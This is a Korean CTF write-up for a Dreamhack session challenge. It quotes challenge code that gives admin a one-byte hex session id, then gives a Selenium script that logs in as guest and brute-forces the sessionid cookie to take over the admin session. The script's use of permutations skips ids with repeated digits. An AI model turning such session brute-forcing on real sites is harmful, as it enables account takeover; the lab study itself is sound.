[드림핵] Session 문제 풀기 - Brute Force Attack with python
개요
무작위 대입 공격을 통해 드림핵 Session 문제 풀기
Python Selenium을 사용하여 seesionid를 바꿔준다
해당 문제가 1월 20일부로 변경
1월 20일 부로 수정된 session_basic 문제는 제공해주는 코드를 천천히 보면 풀 수 있음
해당 문제 댓글에 적혀있는 10초만에 풀었다가 거짓말이 아님
로그인 페이지
if __name__ == '__main__':
import os
session_storage[os.urandom(1).hex()] = 'admin'
print(session_storage)
app.run(host='0.0.0.0', port=8000)
위 코드는 드림핵에서 제공하는 로그인 코드 중 일부이다
'admin'으로 로그인할 경우 2자리의 16진수 sessionid가 생성되어 로그인 세션이 유지된다
아이디어
webdriver 사용해 작업 과정 확인
guest로 로그인 후 sessionid 값 만 무작위 대입으로 교체
admin으로 로그인된 걸 확인하기 위해 스크립트의 Text를 출력
코드
import time
from selenium import webdriver
import itertools
from selenium.webdriver.common.by import By
import requests
driver = webdriver.Chrome()
driver.implicitly_wait(3)
# 2자리 16진수 조합
alphabet = "0123456789abcdef"
pw = list(map(''.join, itertools.permutations(alphabet, 2)))
# 드리햄 로그인 창 접속
driver.get('http://host1.dreamhack.games:16604/login')
time.sleep(1)
# driver.find_element(By.NAME, "username").clear()
# ID : guest 입력
driver.find_element(By.NAME, "username").send_keys('guest')
# pw : guest 입력
driver.find_element(By.NAME, "password").send_keys('guest')
# 로그인 버튼 클릭
driver.find_element(By.XPATH, """/html/body/div/form/button""").click()
for i in pw:
# 세션키에 하나씩 무작위 대입
driver.add_cookie ({'name' : 'sessionid', 'value' : f'{i}'})
# 새로고침
driver.refresh()
# admin 으로 로그인됐나 확인
# body > div 태그내에 모든 텍스트 출력
# admin 로그인 성공시 : Welcome Hello admin ~ flag ~
# guest 로그인 성공시 : Welcome Hello guest ~
# 실패시 : Welcome
string1 = driver.find_elements(By.CSS_SELECTOR, "body > div")
for j in string1:
print(j.text)
print (driver.get_cookie ('sessionid'))
time.sleep(1)
결과